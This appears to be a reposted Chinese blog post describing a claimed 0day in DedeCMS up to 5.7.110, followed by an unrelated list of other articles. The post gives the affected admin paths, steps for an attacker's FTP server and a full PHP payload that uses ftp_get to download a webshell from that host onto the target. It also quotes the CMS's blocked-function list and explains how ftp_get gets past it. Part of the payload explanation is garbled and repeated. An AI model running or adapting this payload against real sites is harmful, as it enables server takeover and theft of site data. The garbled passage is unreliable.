Dedecms最新版--0day分享分析(二)

news2024/11/26 7:16:38

前言

接上一篇的Tricks,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。

环境

下载最新版本:

https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip

image-20230829144016812

影响版本:

<=DedeCMS-V5.7.110

漏洞URL:

/uploads/dede/article_string_mix.php
/uploads/dede/sys_data.php
/uploads/dede/sys_task.php
/uploads/dede/media_add.php 
/uploads/dede/article_template_rand.php

漏洞详情

远程服务器开启ftp服务

控制面板 >> 程序 >> 启用或关闭windows功能

image-20230816180531570

完成更改

image-20230816184550935

计算机管理

image-20230816185006851

添加FTP站点

image-20230816185121408

配置地址以及账号密码

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

image-20230816185228865

上面存放一句话木马

img

文件内容为

img

payload如下:

<?

$ftp_server = "192.168.0.102";
$ftp_username = "administrator";
$ftp_password = "147258369";

$file = "shell.php";
$local_file = "shell2.php";

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_username, $ftp_password);
// try to download $file and save to $local_file
if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) {
  echo "Successfully downloaded $file\n";
} else {
  echo "There was a problem while downloading $file\n";
}

// close the connection
ftp_close($conn_id);
?>

代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,” f i l e ”为远程服务器的 s h e l l 文件名,” file”为远程服务器的shell文件名,” file为远程服务器的shell文件名,local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件,代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,” f i l e ”为远程服务器的 s h e l l 文件名,” file”为远程服务器的shell文件名,” file为远程服务器的shell文件名,local_file”为从远程服务器下载木马文件到本地的重命名文件。

img

文件保存后,访问路径

/uploads/data/template.rand.php

img

提示已经成功下载一句话木马文件,查看当前目录已经生成名称为shell2.php的shell文件

http://dedecms.xyz:8066/uploads/data/shell3.php

img

成功命令执行

漏洞分析

DedeCMS-V5.7.109-UTF8\uploads\dede\media_add.php

上传文件的时候仅仅只对权限以及上传类型做了校验,对文件内容未做校验导致漏洞产生。

继续向下看,文件上传文件处理代码DedeCMS-V5.7.109-UTF8\uploads\dede\file_manage_control.php

image-20230816190814239

代码中定义了disable_funs,但是禁用的函数涉及

phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders

在上面的payload中,利用手法利用点儿在于

image-20230816191436463

ftp_get函数是可以绕过disable_funs的,使用该函数实现bypass进行远程恶意代码调用,导致RCE。

小结

其它的方法也可以尝试,ftp远程调用,telnet远程调用等,包括很多方法可以实现,但是使用条件存在限制。其实在Dede由于后台参数可以直接进行配置,代码中disable_funs的定义没有意义,该模块只要存在,只要绕过正则,RCE的方式有很多。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/978315.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端项目启动时报错:Use // eslint-disable-next-line to ignore the next line

前端项目启动时报错&#xff1a;Use // eslint-disable-next-line to ignore the next line 首先说一下这个问题产生的原因&#xff1a; 项目创建时设置了使用 eslint 进行代码规范检查。 解决办法&#xff1a; 找到webpack.base.conf.js文件&#xff0c;并且将下满这行代码…

在 linux 虚拟机上安装配置 hive

目录 一 下载hive 安装包 二 解压 hive 并配置环境变量 三 配置hive 的配置文件 四 更新 guava 五 hive初始化 六 开启远程连接 七 使用datagrip 连接 hive 一 下载hive 安装包 百度网盘资源如下&#xff1a; 链接: https://pan.baidu.com/s/18jF-Qri0hc52_rtL61O0YQ?…

常见的CSS兼容问题和解决方案

今天就来聊聊在为了您更好的体验&#xff0c;本文章聊聊如何仅支持谷歌浏览器访问查看页 前端开发经常需要检查浏览器的兼容性&#xff0c;这里推荐(Can I Use)这个查询网站。它是一个针对前端开发人员定制的一个查询CSS、JS、HTML5、SVG在主流浏览器中特性和兼容性的网站&…

RabbtiMQ的安装与使用

一、安装Erlang与Rabbitmq 安装教程本教程是在centos8下试验的&#xff0c;其实linux系统的都差不多RabbitMQ官方&#xff1a;Messaging that just works — RabbitMQRabbitMQ是开源AMQP实现&#xff0c;服务器端用Erlang语言编写&#xff0c;Python、Ruby、 NET、Java、JMS、c…

axios返回几种数据格式? 其中Blob返回时的size是什么意思?

axios返回几种数据格式? 其中Blob返回时的size是什么意思&#xff1f; 1、字符串&#xff08;String&#xff09;&#xff1a;服务器可以返回纯文本或HTML内容&#xff0c;Axios会将其作为字符串返回。 2、JSON&#xff08;JavaScript Object Notation&#xff09;&#xff…

C语言入门 Day_14 for循环

前言 我们定义了一个数组以后&#xff0c;要使用&#xff08;读取或者修改&#xff09;数组元素的话&#xff0c;可以一个一个的读取&#xff0c;就前两课学的那样&#xff0c;代码类似这个结构。 int number_list[5]{1,2,3,4,5}; printf("%d\n",number_list[0]); …

【android12-linux-5.1】【ST芯片】【RK3588】【LSM6DSR】HAL移植

一、环境介绍 RK3588主板搭载Android12操作系统,内核是Linux5.10,使用ST的六轴传感器LSM6DSR芯片。 二、芯片介绍 LSM6DSR是一款加速度和角速度(陀螺仪)六轴传感器,还内置了一个温度传感器。该芯片可以选择I2C,SPI通讯,还有可编程终端,可以后置摄像头等设备,功能是很…

第二章 Linux多进程开发 2.24-2.31 信号集及相关函数 共享内存 守护进程

有时间需要重新回顾 2.24 信号集及相关函数 1.用户通过键盘 Ctrl C, 产生2号信号SIGINT (信号被创建) 2.信号产生但是没有被处理 &#xff08;未决&#xff09; - 在内核中将所有的没有被处理的信号存储在一个集合中 &#xff08;未决信号集&#xff09; - SIGINT信号状态被…

第 3 章 栈和队列 (利用非循环顺序队列采用广度搜索法求解迷宫问题(一条路径))

1. 背景说明 广度优先通俗的解释的是将当前所有能走的步骤全部走完并保存在队列中&#xff0c;又称为层序遍历&#xff0c;此外&#xff0c;该方法类似于多条路线并发前进&#xff0c; 哪一条先到就取哪条路线作为结果并终止查询&#xff0c;因此能够得到最短路径&#xff0c;…

【JavaEE】_HTML

目录 1.HTML结构 2. HTML常用标签 2.1 注释标签 2.2 标题标签&#xff1a;h1~h6 2.3 段落标签&#xff1a;p 2.4 换行标签&#xff1a;br 2.5 格式化标签 2.6 图片标签&#xff1a;img 2.7 超链接标签&#xff1a;a 2.8 表格标签 2.9 列表标签 2.10 表单标签 2.10…

镜像的基本命令(docker)

文章目录 前言一、docker命令介绍1、帮助命令2、显示镜像3、搜索镜像4、下载镜像5、删除镜像 总结 前言 本文主要介绍docker中与镜像相关的一些命令&#xff0c;是对狂神课程的一些总结&#xff0c;作为一个手册帮助博主和使用docker的同学们来查找和回忆。 实验环境&#xf…

【Java 基础篇】深入理解 Java 中的抽象类:提高代码可维护性与扩展性

抽象类&#xff08;Abstract Class&#xff09;是 Java 面向对象编程中的一个重要概念。它允许我们定义一组抽象方法&#xff0c;这些方法可以被子类&#xff08;类&#xff09;实现。抽象类通常用于定义一些通用的方法和属性&#xff0c;但不能被实例化。本篇博客将深入探讨 J…

Java反序列化漏洞复现(weblogic和s2)

文章目录 weblogic启动环境漏洞扫描漏洞复现 S2-045启动环境漏洞复现 前提条件&#xff1a; 1.安装docker docker pull medicean/vulapps:j_joomla_22.安装docker-compose docker run -d -p 8000:80 medicean/vulapps:j_joomla_23.下载vulhub weblogic 启动环境 到下面路径下…

Mac13.4 (22F66)钥匙串无法导出.p12证书解决方案

最近更新了Mac 13.4系统之后&#xff0c;开发苹果APP项目时突然发现无法导出.p12证书 这情况解决方案如下方案 在钥匙串访问的上方&#xff0c;有一栏类型筛选&#xff0c;默认选中的是 “所有项目”&#xff0c;将选项切换至“证书” 切换到“证书”后&#xff0c;右键点击需要…

Ae 效果:CC Vector Blur

模糊和锐化/CC Vector Blur Blur & Sharpen/CC Vector Blur CC Vector Blur&#xff08;CC 向量模糊&#xff09;使用源图像&#xff08;图层自身或指定的向量映射图层&#xff09;的亮度差异或其他选择的属性&#xff08;如红通道、绿通道、蓝通道等&#xff09;来生成一个…

kafka学习-概念与简单实战

目录 1、核心概念 消息和批次 Topic和Partition Replicas Offset broker和集群 生产者和消费者 2、开发实战 2.1、消息发送 介绍 代码实现 2.2、消息消费 介绍 代码实现 2.3、SpringBoot Kafka pom application.yaml KafkaConfig producer consumer 1、核心…

【变分法】【书籍阅读笔记】Calculus of Variation by gelfand 第一章 总结与习题题解 【更新中】

文章目录 前言1 第一章 变分法基础1.1 泛函 与 一些简单的变分问题1.2 Function Spaces/ 赋范线性空间1.3 泛函的变分: 具有极值的必要条件1. 重要引理/线性泛函的等零条件2. 泛函变分 1.4 最简单的变分问题&#xff1a;欧拉方程1. 欧拉方程2. 证明/欧拉方程的得出3. 欧拉方程的…

机器学习:基于梯度下降算法的线性拟合实现和原理解析

机器学习&#xff1a;基于梯度下降算法的线性拟合实现和原理解析 线性拟合梯度下降算法步骤算法实现数据可视化&#xff08;动态展示&#xff09;应用示例 当我们需要寻找数据中的趋势、模式或关系时&#xff0c;线性拟合和梯度下降是两个强大的工具。这两个概念在统计学、机器…

SQLI-labs-第五关

知识点&#xff1a;布尔盲注 思路&#xff1a; 1、判断注入点 首先&#xff0c;我们看看正常的回显内容 ?id1 接着输入?id1 &#xff0c;结果出现语句错误 这里说明存在单引号的闭合错误 ?id1 and 11-- ?id1 and 12-- 这里没有任何回显信息&#xff0c;可以准确的确…

基于STM32程序万年历液晶1602显示-proteus仿真-源程序

一、系统方案 本设计采用STM32单片机作为主控器&#xff0c;液晶1602显示&#xff0c;按键设置万年历。 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先是系统初始化 //通用定时器3中断初始化 //这里时钟选择为APB1的2倍&#xff0c;而APB1为36M //arr&…